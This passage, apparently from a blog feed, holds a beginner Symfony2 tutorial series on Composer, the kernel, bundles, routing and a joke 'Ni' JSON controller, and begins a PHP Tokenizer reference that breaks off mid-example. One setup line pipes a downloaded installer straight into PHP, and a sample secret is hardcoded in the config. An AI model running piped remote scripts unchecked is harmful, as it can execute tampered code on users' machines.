<p>In order to get familiar with the routing and controllers, we will create a
route which returns nothing. The first thing to do is to configure the router:</p>

<pre><code># File: app/config/app.yml
framework:
    secret: "Three can keep a secret, if two of them are dead."
    router:
        resource: %kernel.root_dir%/config/routing.yml
</code></pre>

<p>We can now write our routes in a separate file:</p>

<pre><code># File: app/config/routing.yml
what_john_snow_knows:
    path: /api/ygritte
    methods:
        - GET
    defaults:
        _controller: KnightApplicationBundle:Api:ygritte
</code></pre>

<p>As you can see, a route has:</p>

<ul>
<li>a name (<code>what_john_snow_knows</code>)</li>
<li>a path (<code>/api/ygritte</code>)</li>
<li>one or many HTTP verbs (<code>GET</code>)</li>
<li>a controller <code>Knight\ApplicationBundle\Controller\ApiController::ygritteAction()</code></li>
</ul>

<p><em>Note</em>: the <code>_controller</code> parameter is a shortcut composed of three parts, which
are the name of the bundle, then the unprefixed controller name and finally the
unprefixed method name.</p>

<p>Now we need to create the following directory:</p>

<pre><code>mkdir src/Knight/ApplicationBundle/Controller
</code></pre>

<p>And to create the controller class:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/Controller/ApiController.php

namespace Knight\ApplicationBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class ApiController extends Controller
{
    public function ygritteAction(Request $request)
    {
        return new Response('', Response::HTTP_NO_CONTENT);
    }
}
</code></pre>

<p>To test it, I'd advise you to use a HTTP client. Let's install
<a href="http://httpie.org">HTTPie, the CLI HTTP client</a>:</p>

<pre><code>sudo apt-get install python-pip
sudo pip install --upgrade httpie
</code></pre>

<p>We can now test our webservice:</p>

<pre><code>http GET knight.local/api/ygritte
</code></pre>

<p>The first line should be <code>HTTP/1.1 204 No Content</code>.</p>

<h2 id="posting-data">Posting data</h2>

<p>Our scrum master and product owner managed to write a user story for us:</p>

<pre><code>As a Knight of Ni
I want a webservice which says "ni"
In order to get a shrubbery
</code></pre>

<p>This means we're going to need the following route:</p>

<pre><code># File: app/config/routing.yml
ni:
    path: /api/ni
    methods:
        - POST
    defaults:
        _controller: KnightApplicationBundle:Api:ni
</code></pre>

<p>Our controller will retrieve the posted value (named <code>offering</code>), check if it
is a <code>shrubbery</code> and send back a response containing either <code>Ni</code> (on error) or
<code>Ecky-ecky-ecky-ecky-pikang-zoop-boing-goodem-zoo-owli-zhiv</code> (on success):</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/Controller/ApiController.php

namespace Knight\ApplicationBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;

class ApiController extends Controller
{
    public function niAction(Request $request)
    {
        $postedContent = $request-&gt;getContent();
        $postedValues = json_decode($postedContent, true);

        $answer = array('answer' =&gt; 'Ecky-ecky-ecky-ecky-pikang-zoop-boing-goodem-zoo-owli-zhiv');
        $statusCode = Response::HTTP_OK;
        if (!isset($postedValues['offering']) || 'shrubbery' !== $postedValues['offering']) {
            $answer['answer'] = 'Ni';
            $statusCode = Response::HTTP_UNPROCESSABLE_ENTITY;
        }

        return new JsonResponse($answer, $statusCode);
    }
}
</code></pre>

<p>The <code>JsonResponse</code> class will convert the array into JSON and set the proper
HTTP headers.</p>

<p>If we try to submit something fishy like this:</p>

<pre><code>http POST knight.local/api/ni offering=hareng
</code></pre>

<p>Then we should have a response similar to:</p>

<pre><code>HTTP/1.1 422 Unprocessable Entity
Cache-Control: no-cache
Content-Type: application/json
Date: Thu, 10 Jul 2014 15:23:00 GMT
Server: Apache
Transfer-Encoding: chunked

{
    "answer": "Ni"
}
</code></pre>

<p>And when we submit the correct offering:</p>

<pre><code>http POST knight.local/api/ni offering=shrubbery
</code></pre>

<p>Then we should have something similar to:</p>

<pre><code>HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Date: Thu, 10 Jul 2014 21:42:00 GMT
Server: Apache
Transfer-Encoding: chunked

{
    "answer": "Ecky-ecky-ecky-ecky-pikang-zoop-boing-goodem-zoo-owli-zhiv"
}
</code></pre>

<h2 id="request%27s-api">Request's API</h2>

<p>Here's part of the Request's API:</p>

<pre><code>&lt;?php

namespace Symfony\Component\HttpFoundation;

class Request
{
    public $request; // Request body parameters ($_POST)
    public $query; // Query string parameters ($_GET)
    public $files; // Uploaded files ($_FILES)
    public $cookies; // $_COOKIE
    public $headers; // Taken from $_SERVER

    public static function createFromGlobals():
    public static function create(
        $uri,
        $method = 'GET',
        $parameters = array(),
        $cookies = array(),
        $files = array(),
        $server = array(),
        $content = null
    );

    public function getContent($asResource = false);
}
</code></pre>

<p>We used <code>createFromGlobals</code> in our front controller (<code>web/app.php</code>), it does
excalty what it says: it initializes the Request from the PHP superglobals
(<code>$_POST</code>, <code>$_GET</code>, etc).</p>

<p>The <code>create</code> method is really handful in tests as we won't need to override the
values in PHP's superglobals.</p>

<p>The attributes here listed are all instances of
<code>Symfony\Component\HttpFoundation\ParameterBag</code>, which is like an object
oriented array with <code>set</code>, <code>has</code> and <code>get</code> methods (amongst others).</p>

<p>When you submit a form, your browser automatically sets the HTTP request's
header <code>Content-Type</code> to <code>application/x-www-form-urlencoded</code>, and the form
values are sent in the request's content like this:</p>

<pre><code>offering=hareng
</code></pre>

<p>PHP understands this and will put the values in the <code>$_POST</code> superglobal. This
mean you could retrieve it like this:</p>

<pre><code>$request-&gt;request-&gt;get('offering');
</code></pre>

<p>However, when we submit something in JSON with the <code>Content-Type</code> set to
<code>application/json</code>, PHP doesn't populate <code>$_POST</code>. You need to retrieve the raw
data with <code>getContent</code> and to convert it using <code>json_decode</code>, as we did in our
controller.</p>

<h2 id="response%27s-api">Response's API</h2>

<p>Here's a part of the Response's API:</p>

<pre><code>&lt;?php

namespace Symfony\Component\HttpFoundation;

class Response
{
    const HTTP_OK = 200;
    const HTTP_CREATED = 201;
    const HTTP_NO_CONTENT = 204;
    const HTTP_UNAUTHORIZED = 401;
    const HTTP_FORBIDDEN = 403;
    const HTTP_NOT_FOUND = 404;
    const HTTP_UNPROCESSABLE_ENTITY = 422; // RFC4918

    public $headers; // @var Symfony\Component\HttpFoundation\ResponseHeaderBag

    public function __construct($content = '', $status = 200, $headers = array())

    public function getContent();
    public function getStatusCode();

    public function isSuccessful();
}
</code></pre>

<p>There's a lot of HTTP status code constants, so I've selected only those I'd use
the most.</p>

<p>You can set and get the Response's headers via a public property which is also
a <code>ParameterBag</code>.</p>

<p>The constructor allows you to set the content, status code and headers.</p>

<p>The three other methods are mostly used in tests. There's a lot of <code>is</code> methods
to check the type of the request, but usually you'll just want to make sure the
response is successful.</p>

<p>You can find other types of responses:</p>

<ul>
<li><code>JsonResponse</code>: sets the <code>Content-Type</code> and converts the content into JSON</li>
<li><code>BinaryFileResponse</code>: sets headers and attaches a file to the response</li>
<li><code>RedirectResponse</code>: sets the target location for a redirection</li>
<li><code>StreamedResponse</code>: useful for streaming large files</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Symfony2 is an HTTP framework which primary's public API are the controllers:
those receive a Request as parameter and return a Response. All you have to do
is to create a controller, write some configuration in order to link
it to an URL and you're done!</p>

<p>Do not forget to commit your work:</p>

<pre><code>git add -A
git commit -m 'Created Ni route and controller'
</code></pre>

<p>The next article should be about tests: stay tuned!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Learn Symfony2 - part 3: Bundles]]></title>
            <link href="/2014/07/02/learn-sf2-bundles-part-3.html"/>
            <updated>2014-07-02T00:00:00+01:00</updated>
            <id>/2014/07/02/learn-sf2-bundles-part-3.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the third article of the series on learning
<a href="http://symfony.com/">the Symfony2 framework</a>.
Have a look at the two first ones:</p>

<ul>
<li><a href="/2014/06/18/learn-sf2-composer-part-1.html">1: Composer</a></li>
<li><a href="/2014/06/25/learn-sf2-empty-app-part-2.html">2: Empty application</a></li>
</ul>

<p>In the previous articles we began to create an empty application with the
following files:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   └── config.yml
│   └── logs
│       └── .gitkeep
├── composer.json
├── composer.lock
├── .gitignore
└── web
    └── app.php
</code></pre>

<p>Running <code>composer install</code> should create a <code>vendor</code> directory, which we ignored
with git.</p>

<p>Here's the <a href="https://github.com/gnugat/learning-symfony2/releases/tag/2-empty-application">repository where you can find the actual code</a>.</p>

<p>We'll now see what a bundle is.</p>

<h2 id="creating-the-application-bundle">Creating the application bundle</h2>

<p>We'll need some use case in order for our code snippets to make sense. So here
it is: the Knights Who Say 'Ni', demand a webservice! It shall say 'ni' if the
user do not appease it. To do so, the user should post a shrubbery!</p>

<p>Let's create our application bundle, in order to have a place where we can put
our code. To do so we need to create the directory:</p>

<pre><code>mkdir -p src/Knight/ApplicationBundle
</code></pre>

<p>Then the class extending <code>Symfony\Component\HttpKernel\Bundle\Bundle</code>:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/KnightApplicationBundle.php

namespace Knight\ApplicationBundle;

use Symfony\Component\HttpKernel\Bundle\Bundle;

class KnightApplicationBundle extends Bundle
{
}
</code></pre>

<p>Finally we register the bundle into our application:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Knight\ApplicationBundle\KnightApplicationBundle(), // &lt;-- Here!
        );
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load(__DIR__.'/config/config.yml');
    }
}
</code></pre>

<p>Let's commit our work:</p>

<pre><code>git add -A
git commit -m 'Created Application bundle'
</code></pre>

<h2 id="bundles-allow-you-to-extend-the-application%27s-dic">Bundles allow you to extend the application's DIC</h2>

<p>The <code>KnightApplicationBundle</code> class extends the following one:</p>

<pre><code>&lt;?php

namespace Symfony\Component\HttpKernel\Bundle;

use Symfony\Component\DependencyInjection\ContainerAware;
use Symfony\Component\Console\Application;

abstract class Bundle extends ContainerAware implements BundleInterface
{
    public function getContainerExtension();
    public function registerCommands(Application $application);
}
</code></pre>

<p><em>Note</em>: Only the part we're interested in is shown here.</p>

<p>Those two methods make the bundle capable of autodiscovering its commands and
its Dependency Injection Container's (DIC) extension, if the following directory
directory structure is used:</p>

<pre><code>.
├── Command
│   └── *Command.php
├── DependencyInjection
│   └── KnightApplicationExtension.php
└── KnightApplicationBundle.php
</code></pre>

<p><em>Note</em>: the only file required in a bundle is the <code>KnightApplicationBundle.php</code>
one.</p>

<p>The name of a bundle (in our example <code>KnightApplication</code>) is composed of:</p>

<ul>
<li>the vendor name (here our customer's name: <code>Knight</code>)</li>
<li>the actual bundle name (<code>Application</code>)</li>
</ul>

<p>For your own sake, choose a small one-word name for you vendor name and for your
bundle name (there's no hard rules but that's my advice).</p>

<p>The <code>KnightApplicationExtension</code> class allows you to manipulate the DIC (more
often you'll load a configuration file which can be located in
<code>Resources/config/services.xml</code>).</p>

<p>And that's precisely the purpose of bundles: registering services in the
application's DIC.</p>

<h3 id="side-note-about-dic-and-services">Side note about DIC and services</h3>

<p>Services and Dependency Injection isn't in the scope of this series. However if
you want to discover what it is all about, have a look at these two articles:</p>

<ul>
<li><a href="/2014/01/22/ioc-di-and-service-locator.html">Inversion of Control, Dependency Injection, Dependency Injection Container and Service Locator</a></li>
<li><a href="/2014/01/29/sf2-di-component-by-example.html">Symfony2 Dependency Injection component, by example</a></li>
</ul>

<p><em>Note</em>: this is a kindly reminder about the nature of Symfony2 Components. Those
are third party libraries which can be used on their own outside of the
framework.</p>

<h3 id="side-note-about-commands">Side note about commands</h3>

<p>The Symfony2 Console Component allows you to create CLI applications. This
application can have one or many commands. To learn more about them, have a look
at this article:</p>

<ul>
<li><a href="/2014/04/09/sf2-console-component-by-example.html">Symfony2 Console component, by example</a></li>
</ul>

<p><em>Note</em>: commands aren't in the scope of this article, but they're worth
mentioning.</p>

<h2 id="two-kinds-of-bundles">Two kinds of bundles</h2>

<p>There's two kinds of bundle:</p>

<ul>
<li>third party application integration ones (reusable, shared between
applications)</li>
<li>application's ones (non reusable and dedicated to your business model)</li>
</ul>

<p>Let's take the <a href="https://github.com/KnpLabs/snappy">KnpLabs snappy library</a>: it
allows you to generate a PDF from a HTML page and can be used in any
applications (non-symfony ones, and even framework-less ones).</p>

<p>The class allowing this generation is
<code>Knp\Bundle\SnappyBundle\Snappy\LoggableGenerator</code>: its construction is a bit
tiresome. To fix this, we can define its construction inside the DIC and
fortunately there's already a bundle doing it for us:
<a href="https://github.com/KnpLabs/KnpSnappyBundle">KnpSnappyBundle</a>.</p>

<p>That's a good example of the first kind of bundles.</p>

<p>Now about the second kind: in our Symfony2 application, we'll need to integrate
our own code to it, one day or another. We could go the long and painful way
(writing a lot of boilerplate code and configurations), or we could use a bundle
to do automatically the job for us!</p>

<p>Sometimes, we'll find applications which have many bundles in order to
categorize them into modules. This isn't necessary and it's a bit tiresome if
you ask me: we can simply create folders in a unique bundle to categorize our
modules.</p>

<p>The creation of many bundles necessitates some extra manual steps. It also makes
little sense as a bundle is supposed to be a decoupled unit: if we create a
UserBundle, FrontendBundle, BlogBundle and ForumBundle, we'll find ourselves
with bundles depending on one another, often with cyclic dependencies and we'll
waste time wondering where to put new classes (which can rely on 3 bundles).</p>

<p>My advice: create a single bundle for your application. If later on you find
that inside it you created a set of classes which makes sense in other projects
(Symfony2 and non-Symfon2 ones alike), then maybe you can extract them to
create a third party library. And then you might create a bundle to integrate
it inside Symfony2 applications.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Bundles are a way to extend the Dependency Injection Container: they're the glue
layer between your code and Symfony2 applications.</p>

<p>They follow conventions which aren't hard coded (you can override anything),
allowing them to autodiscover some convenient classes.</p>

<p>Thanks for reading, in the next article, we'll create controllers!</p>

<h3 id="resources">Resources</h3>

<p>Here's a good article about how reusable bundles should be created:</p>

<ul>
<li><a href="http://elnur.pro/use-only-infrastructural-bundles-in-symfony/">Use only infrastructural bundles in Symfony2, by Elnur Abdurrakhimov</a></li>
</ul>

<p>You don't like the conventions and you're ready to write a lot of boilerplate
code and configuration? Here you go (I'd not advise you to do so, though):</p>

<ul>
<li><a href="http://stackoverflow.com/questions/9999433/should-everything-really-be-a-bundle-in-symfony-2-x/10001019#10001019">Should everything really be a bundle in Symfony2?</a></li>
<li><a href="http://danielribeiro.org/blog/yes-you-can-have-low-coupling-in-a-symfony-standard-edition-application/">Yes, you can have low coupling in a Symfony2 application</a></li>
<li><a href="http://elnur.pro/symfony-without-bundles/">Symfony2 without bundles, by Elnur Abdurrakhimov, by Daniel Ribeiro</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2013/10/symfony2-some-things-i-dont-like-about-bundles/">Symfony2 some things I dont like about bundles, by Matthias Noback</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2013/10/symfony2-console-commands-as-services-why/">Symfony2 console commands as services why, by Matthias Noback</a></li>
<li><a href="http://www.slideshare.net/matthiasnoback/high-quality-symfony-bundles-tutorial-dutch-php-conference-2014">Naked bundles, slides by Matthias Noback</a></li>
</ul>

<p>I'm only putting these links because I like how they explain how Symfony2 works
behind the hood, but I wouldn't apply them in a real world application as it
makes too much fuss to no avail (that's my humble opinion anyway).</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Learn Symfony2 - part 2: Empty application]]></title>
            <link href="/2014/06/25/learn-sf2-empty-app-part-2.html"/>
            <updated>2014-06-25T00:00:00+01:00</updated>
            <id>/2014/06/25/learn-sf2-empty-app-part-2.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the second article of the series on learning
<a href="http://symfony.com/">the Symfony2 framework</a>.
Have a look at the first one: <a href="/2014/06/18/learn-sf2-composer-part-1.html">Composer</a>.</p>

<p>In the first article we began to create an empty project with the following
files:</p>

<pre><code>.
├── composer.json
├── composer.lock
└── .gitignore
</code></pre>

<p>Running <code>composer install</code> should create a <code>vendor</code> directory, which we ignored
in git.</p>

<p>Here's the <a href="https://github.com/gnugat/learning-symfony2/tree/1-composer">repository where you can find the actual code</a>.</p>

<p>We'll now see how to create an empty Symfony2 application.</p>

<h2 id="the-front-controller">The front controller</h2>

<p>First things first, we will create an index file which will act as a front
controller: it will be the only entry point of our application and will decide
which page to display.</p>

<p>Create its directory:</p>

<pre><code>mkdir web
</code></pre>

<p>Then the file:</p>

<pre><code>&lt;?php
// File: web/app.php

use Symfony\Component\HttpFoundation\Request;

require_once __DIR__.'/../vendor/autoload.php';
require_once __DIR__.'/../app/AppKernel.php';

$kernel = new AppKernel('prod', false);
$request = Request::createFromGlobals();
$response = $kernel-&gt;handle($request);
$response-&gt;send();
$kernel-&gt;terminate($request, $response);
</code></pre>

<p>First it includes Composer's autoloader: it will require every files needed.</p>

<p>Then we create an instance of our Kernel with the production environment and
the debug utilities disabled. This class acts like a web server: it takes a
HTTP request as input and returns a HTTP response as output.</p>

<p><code>Request::createFromGlobals()</code> creates a representation of the HTTP request.
It is filled from PHP's variable super globals (<code>$_GET</code>, <code>$_POST</code>, etc).</p>

<p>The kernel then handles the request. To keep explanations short, let's simply
say that it will find the controller associated to the requested URL. It is the
controller's responsibility to return a representation of the HTTP response (see
<code>Symfony\Component\HttpFoundation\Response</code>).</p>

<p>The <code>$response-&gt;send()</code> method will simply call the PHP <code>header</code> function and
print a string representing the response's body (usually HTML, JSON or anything
you want).</p>

<p>Finally the <code>$kernel-&gt;terminate()</code> method will call any tasks which registered
to the <code>kernel.terminate</code> event. This alows you to return a response as fast as
possible and then execute some actions like sending emails.</p>

<p><em>Note</em>: events aren't in the scope of this article, but they're worth
mentioning.</p>

<h2 id="creating-the-application%27s-kernel">Creating the application's kernel</h2>

<p><a href="http://symfony.com/doc/current/components/http_kernel/introduction.html">The HttpKernel component</a>
provides you with a <code>Kernel</code> class, which we will extend.</p>

<p>Create the following directory:</p>

<pre><code>mkdir app
</code></pre>

<p>And then the kernel file:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
        );
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load(__DIR__.'/config/config.yml');
    }
}
</code></pre>

<p>This class will load the project's configuration. This is also where you
register the project's bundles. We'll talk more about bundles in the next
article, for now the only thing you need to know is that they're like plugins.</p>

<p>The Kernel has the responsibility to look at every registered bundle to retrieve
their configuration.</p>

<p>The <code>FrameworkBundle</code> defines some services and allows you to choose what to
enable via configuration.</p>

<p><em>Note</em>: Services are objects which do one thing and do it well. They provide
exactly what they're called: a service. We'll learn more about them in one of
the next article.</p>

<p>We need to put some configuration in order to be able to make it work properly.</p>

<p>Create its directory:</p>

<pre><code>mkdir app/config
</code></pre>

<p>And the the YAML file:</p>

<pre><code># File: app/config/config.yml
framework:
    secret: "Three can keep a secret, if two of them are dead."
</code></pre>

<p>The <code>secret</code> parameter is used as a seed to generate random strings (for e.g.
CSRF tokens).</p>

<p>Now that we have our application structure, let's commit it:</p>

<pre><code>git add -A
git commit -m 'Created application structure'
</code></pre>

<h3 id="logs-and-cache">Logs and cache</h3>

<p>You'll also need to create <code>logs</code> and <code>cache</code> directories:</p>

<pre><code>mkdir app/{cache,logs}
touch app/{cache,logs}/.gitkeep
</code></pre>

<p>Git doesn't allow to commit empty directory, hence the <code>.gitkeep</code> files.</p>

<p>Because files in these directories are temporaries, we'll ignore them:</p>

<pre><code>echo '/app/cache/*' &gt;&gt; .gitignore
echo '/app/logs/*' &gt;&gt; .gitignore
git add -A
git add -f app/cache/.gitkeep
git add -f app/logs/.gitkeep
git commit -m 'Created temporary directories'
</code></pre>

<h3 id="apache-configuration">Apache configuration</h3>

<p>In order for your website to be browsed, you'll need to configure your web
server. This configuration is well explained
<a href="http://symfony.com/doc/current/cookbook/configuration/web_server_configuration.html">in the documentation</a>,
so here's a dump of an apache vhost:</p>

<pre><code>&lt;VirtualHost *:80&gt;
    ServerName knight.local

    DocumentRoot /home/loic.chardonnet/Projects/gnugat/knight/web

    ErrorLog "/home/loic.chardonnet/Projects/gnugat/knight/app/logs/apache_errors.log"
    CustomLog "/home/loic.chardonnet/Projects/gnugat/knight/app/logs/apache_accesses.log" common

    &lt;Directory /home/loic.chardonnet/Projects/gnugat/knight/web&gt;
        Options Indexes FollowSymLinks MultiViews
        AllowOverride None
        Order allow,deny
        allow from all
        &lt;IfModule mod_rewrite.c&gt;
            RewriteEngine On
            RewriteCond %{REQUEST_FILENAME} !-f
            RewriteRule ^(.*)$ /app.php [QSA,L]
        &lt;/IfModule&gt;
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;
</code></pre>

<p>If you run into some permission problem (like writing in <code>cache</code> and <code>logs</code>),
you might consider to change <code>APACHE_RUN_USER</code> and <code>APACHE_RUN_GROUP</code>
environment variables present in <code>/etc/apache2/envvars</code> to your own user and
group.</p>

<h2 id="conclusion">Conclusion</h2>

<p>A Symfony2 application follows this pattern: a front controller associate an URL
to a controller which takes a HTTP request and returns a HTTP response.</p>

<p>The next article will be all about bundles, so stay tuned :) .</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Learn Symfony2 - part 1: Composer]]></title>
            <link href="/2014/06/18/learn-sf2-composer-part-1.html"/>
            <updated>2014-06-18T00:00:00+01:00</updated>
            <id>/2014/06/18/learn-sf2-composer-part-1.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>You don't know anything about the <a href="http://symfony.com/">Symfony2</a> framework,
and you'd like a quick guide to learn how to use it, and how it works?</p>

<p>Then this article is for you :) .</p>

<p>Don't get me wrong: one day or another you'll have to read the
<a href="http://symfony.com/doc/current/index.html">documentation</a>, and you'll have to
practice a lot in order to master it. But for now this guide should be a good
start for you.</p>

<p>In the first article of this series, you'll learn about
<a href="https://getcomposer.org/">Composer</a>, which helps you with third party library
installation and updates.</p>

<h2 id="creating-the-project">Creating the project</h2>

<p>In order to understand how Symfony2 works, we won't use the
<a href="http://symfony.com/distributions">Symfony Standard Edition</a>, but rather start
from scratch with the bare minimum.</p>

<p>Let's create our project:</p>

<pre><code>mkdir knight
cd knight
git init
</code></pre>

<h2 id="getting-composer">Getting Composer</h2>

<p>When developing a project the last thing you want is to waste your time
re-inventing the wheel, so you install third party libraries. Those libraries
have their own life cycle: they might release some bug fixes and new features
after you installed them, so you'll need to update them sometimes.</p>

<p><a href="https://getcomposer.org/">Composer</a> makes these things so easy you'll never
have to worry again about versions. First download it:</p>

<pre><code>curl -sS https://getcomposer.org/installer | php
sudo mv composer.phar /usr/local/bin/composer
</code></pre>

<p>And we're done! If only every project were so easy to install... :)</p>

<h2 id="installing-and-updating-symfony2">Installing and updating Symfony2</h2>

<p>Actually, Symfony2 is only a name regrouping many libraries which can be used
individually (you can even use them in other frameworks, CMS or projects like
<a href="http://symfony.com/projects/drupal">Drupal</a>,
<a href="http://symfony.com/projects/phpbb">phpBB</a>,
<a href="http://symfony.com/projects/laravel">Laravel</a>,
<a href="http://symfony.com/projects/ezpublish">eZ Publish</a>,
<a href="http://symfony.com/projects/orocrm">OroCRM</a> and
<a href="http://symfony.com/projects/piwik">Piwik</a> did).</p>

<p><em>Note</em>: Symfony2 libraries are called <code>components</code>.</p>

<p>Composer was made to install libraries, so let's use it:</p>

<pre><code>composer require 'symfony/symfony:~2.5' # install every single libraries in sf2
</code></pre>

<p>This command will do the following steps:</p>

<ol>
<li>create a <code>composer.json</code> configuration file if it doesn't already exist</li>
<li>add <code>symfony/symfony: ~2.5</code> in it (useful for further <code>composer install</code>)</li>
<li>actually download symfony inside the <code>vendor/symfony/symfony</code> directory</li>
<li>create a <code>composer.lock</code> file</li>
</ol>

<p>Later on, to update those dependencies you'll just have to run
<code>composer update</code>.</p>

<p><em>Note</em>: a library on which you depend upon is called a <code>dependency</code>.</p>

<p>This will look in the <code>composer.lock</code> file to know which version has been
installed (e.g. 2.5.0) and then checks if there's any new version available.
For more information about how Composer handles versions, see
<a href="https://igor.io/2013/01/07/composer-versioning.html">Igor's article</a>.</p>

<p>This means that you can totally ignore the <code>vendor</code> directory:</p>

<pre><code>echo '/vendor/*' &gt;&gt; .gitignore
</code></pre>

<p>If your team wants to install your project, they'll just have to clone your
repository and then run <code>composer install</code> which runs into the following steps:</p>

<ol>
<li>read the <code>composer.json</code> file to see the list of dependencies</li>
<li>read the <code>composer.lock</code> file to check the version installed by the commiter</li>
<li>download the dependencies with the version specified in the lock (even if new
ones are available)</li>
</ol>

<p>If a dependency is listed in <code>composer.json</code> but not in <code>composer.lock</code>,
Composer will download the last matching version and add it to the lock.</p>

<p>This means that everyone will have the same version installed! If you allow only
one person to run <code>composer update</code> you can guarantee this.</p>

<h2 id="autloading">Autloading</h2>

<p>Because Composer knows where each classes of the installed libraries are, it
provides a nice feature:
<a href="http://www.php.net/manual/en/language.oop5.autoload.php">autoloading</a>.</p>

<p>Simply put, each time a class is called, Composer will automatically include the
file where it's declared.</p>

<p>Your own code too can benefit from it. We just need to edit the <code>composer.json</code>
file:</p>

<pre><code>{
    "require": {
        "symfony/symfony": "~2.5"
    },
    "autoload": {
        "psr-4": {
            "": "src/"
        }
    }
}
</code></pre>

<p>And run the following command to take the changes into account:</p>

<pre><code>composer update
</code></pre>

<p>This tells Composer that we're going to follow the
<a href="http://www.php-fig.org/psr/psr-4/">PSR-4</a> standard and that we're going to put
our sources in the <code>src</code> directory.</p>

<p><em>Note</em>: PSR 4 requires you to:</p>

<ul>
<li>create one class per file</li>
<li>give the same name to your file and your class</li>
<li>use the path of the class for the namespace</li>
</ul>

<p>For example: the file <code>src/Knight/ApplicationBundle/KnightApplicationBundle.php</code>
contains a class named <code>KnightApplicationBundle</code> located in the namespace
<code>Knight\ApplicationBundle</code>.</p>

<p>Don't worry too much about it for now.</p>

<h2 id="conclusion">Conclusion</h2>

<p>And that's everything you need to know about Composer for now. Let's commit our
work:</p>

<pre><code>git add -A
git commit -m 'Installed Symfony2'
</code></pre>

<p>I hope this could help you, stay tuned for the next articles!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PHP Tokenizer]]></title>
            <link href="/2014/06/04/php-tokenizer.html"/>
            <updated>2014-06-04T00:00:00+01:00</updated>
            <id>/2014/06/04/php-tokenizer.html</id>
            <content type="html"><![CDATA[<p>The <a href="http://www.php.net/manual/en/book.tokenizer.php">PHP Tokenizer documentation</a>
looks a bit empty, and you have to try it out by yourself to understand how it
works.</p>

<p>While I don't mind the "learn by practice" approach (that's actually my
favorite way of learning), it's inconvenient as you might have to re-discover
things when using it again two month later.</p>

<p>To fix this, I'll try to provide a small reference guide in this article.</p>

<h2 id="php-tokens">PHP tokens</h2>

<p>A token is just a unique identifier allowing you to define what you're
manipulating: PHP keywords, function names, whitespace and comments are all be
represented as tokens.</p>

<p>If you want to programmatically read a PHP file, analyze its source code and
possibly manipulate it and save the changes, then tokens will make your life
easier.</p>

<p>Here's some actual examples of what tokens are used for:</p>

<ul>
<li>analyzing PHP code to detect coding standard violations:
<a href="https://github.com/squizlabs/PHP_CodeSniffer">PHP_CodeSniffer</a></li>
<li>programmatic edition of PHP: <a href="https://github.com/nikic/PHP-Parser">PHP Parser</a></li>
<li>live backport of PHP features (e.g. 5.6 to 5.2):
<a href="https://github.com/igorw/galapagos#galapagos">Galapagos</a></li>
</ul>

<h2 id="basic-api">Basic API</h2>

<p>Tokenizer provides you with <code>token_get_all($source)</code> which takes a string
containing PHP source code and makes an array of tokens and informations out of
it.</p>

<p>Here's an example:</p>

<pre><code class="php">&lt;?php
$code =&lt;&lt;&lt;'EOF'
&lt;?php

/**
 * @param string $content
 */
function strlen($content)
{
    for ($length = 0; isset($content[$length]); $length++);

    return $length;
}
EOF;

$tokens = token_get_all($code);
</code></pre>

<p>Should produce:</p>

<pre><code>$tokens = array(
    // Either a string or an array with 3 elements:
    // 0: code, 1: value, 2: line number

    // Line 1
    array(T_OPEN_TAG, "&lt;?php\n", 1),
    // Line 2
    array(T_WHITESPACE, "\n", 2),
    // Lines 3, 4 and 5
    array(T_DOC_COMMENT, "/**\n * @param string $content\n */", 3), // On many lines
    array(T_WHITESPACE, "\n", 5),
    // Line 6
    array(T_FUNCTION, "function", 6),
    array(T_WHITESPACE, " ", 6), // Empty lines and spaces are the same: whitespace
    array(T_STRING, "strlen", 6),
    "(", // yep, no token nor line number...
    array(T_VARIABLE, "$content", 6),
    ")",
    array(T_WHITESPACE, "\n", 6),
    "{",
    // Line 7
    array(T_WHITESPACE, "\n", 7),
    // Line 8
    array(T_FOR, "for", 8),
    array(T_WHITESPACE, " ", 8),
    "(",
    array(T_VARIABLE, "$length", 8),
    array(T_WHITESPACE, " ", 8),
    "=",
    array(T_WHITESPACE, " ", 8),
    array(T_NUM, "0", 8),
    ";",
    array(T_WHITESPACE, " ", 8),
